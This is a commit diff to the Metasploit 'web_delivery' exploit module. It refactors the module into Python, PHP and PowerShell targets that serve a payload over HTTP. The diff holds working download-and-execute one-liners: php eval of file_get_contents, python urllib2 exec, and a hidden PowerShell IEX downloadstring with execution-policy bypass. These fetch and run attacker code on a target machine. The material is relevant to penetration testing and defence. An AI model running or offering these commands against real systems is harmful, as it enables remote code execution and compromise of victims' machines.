Skip to content

Commit 88273f8

Browse files
committed
Targets update
1 parent 62fe307 commit 88273f8

File tree

1 file changed

+38
-31
lines changed

1 file changed

+38
-31
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 38 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -43,20 +43,41 @@ def initialize(info = {})
4343
'Platform' => %w{ py php win},
4444
'Targets' =>
4545
[
46-
[ 'Automatic', { } ],
46+
['Python_win', {
47+
'Platform' => 'py',
48+
'Arch' => ARCH_PYTHON
49+
}],
50+
['Python_linux', {
51+
'Platform' => 'py',
52+
'Arch' => ARCH_PYTHON
53+
}],
54+
['PHP_win', {
55+
'Platform' => 'php',
56+
'Arch' => ARCH_PHP
57+
}],
58+
['PHP_linux', {
59+
'Platform' => 'php',
60+
'Arch' => ARCH_PHP
61+
}],
62+
['PSH_x86', {
63+
'Platform' => 'win',
64+
'Arch' => ARCH_X86
65+
}],
66+
['PSH_x64', {
67+
'Platform' => 'win',
68+
'Arch' => ARCH_X86_64
69+
}],
70+
71+
4772
],
4873
'DefaultTarget' => 0,
4974
'DisclosureDate' => 'N/A'
5075
))
51-
register_options(
52-
[
53-
OptString.new('SCRIPT_LANG', [true, 'Scripting Language to use: PY, PHP, or PSH', 'PY']),
54-
], self.class)
55-
end
76+
end
5677

5778
def on_request_uri(cli, request)
5879
print_status("Delivering Payload")
59-
if (datastore['SCRIPT_LANG'] == "PSH")
80+
if (target.name.include? "PSH")
6081
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
6182
else
6283
data = %Q|#{payload.encoded} |
@@ -66,32 +87,18 @@ def on_request_uri(cli, request)
6687

6788
def primer
6889
url = get_uri()
69-
p = datastore['Payload']
70-
if (datastore['SCRIPT_LANG'] == "PHP")
71-
if (p[0..2] == "php")
72-
print_status("Run the following command on the target machine:")
73-
print_line("For Linux: php -r \"eval(file_get_contents('#{url}'));\"")
74-
print_line("For Windows: php.exe -r \"eval(file_get_contents('#{url}'));\"")
75-
else
76-
print_error("Payload currently unsupported by PHP. You will need to use a native PHP payload, such as php/meterpreter")
77-
return
78-
end
79-
elsif (datastore['SCRIPT_LANG'] == "PY")
80-
if (p[0..5] == "python")
81-
print_status("Run the following command on the target machine:")
82-
print_line("For Linux: python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
83-
print_line("For Windows: python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
84-
else
85-
print_error("Payload currently unsupported by Python. You will need to use a native python payload, such as python/meterpreter")
86-
return
87-
end
88-
elsif (datastore['SCRIPT_LANG'] == "PSH")
90+
print_status("Run the following command on the target machine:")
91+
if (target.name == "PHP_linux")
92+
print_line("php -r \"eval(file_get_contents('#{url}'));\"")
93+
elsif (target.name == "PHP_win")
94+
print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
95+
elsif (target.name == "Python_linux")
96+
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
97+
elsif (target.name == "Python_win")
98+
print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
99+
else
89100
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
90-
print_status("Run the following command on the target machine:")
91101
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
92-
else
93-
print_error("You did not specify a valid scripting language. Exiting...")
94-
return
95102
end
96103
end
97104
end

0 commit comments

Comments
 (0)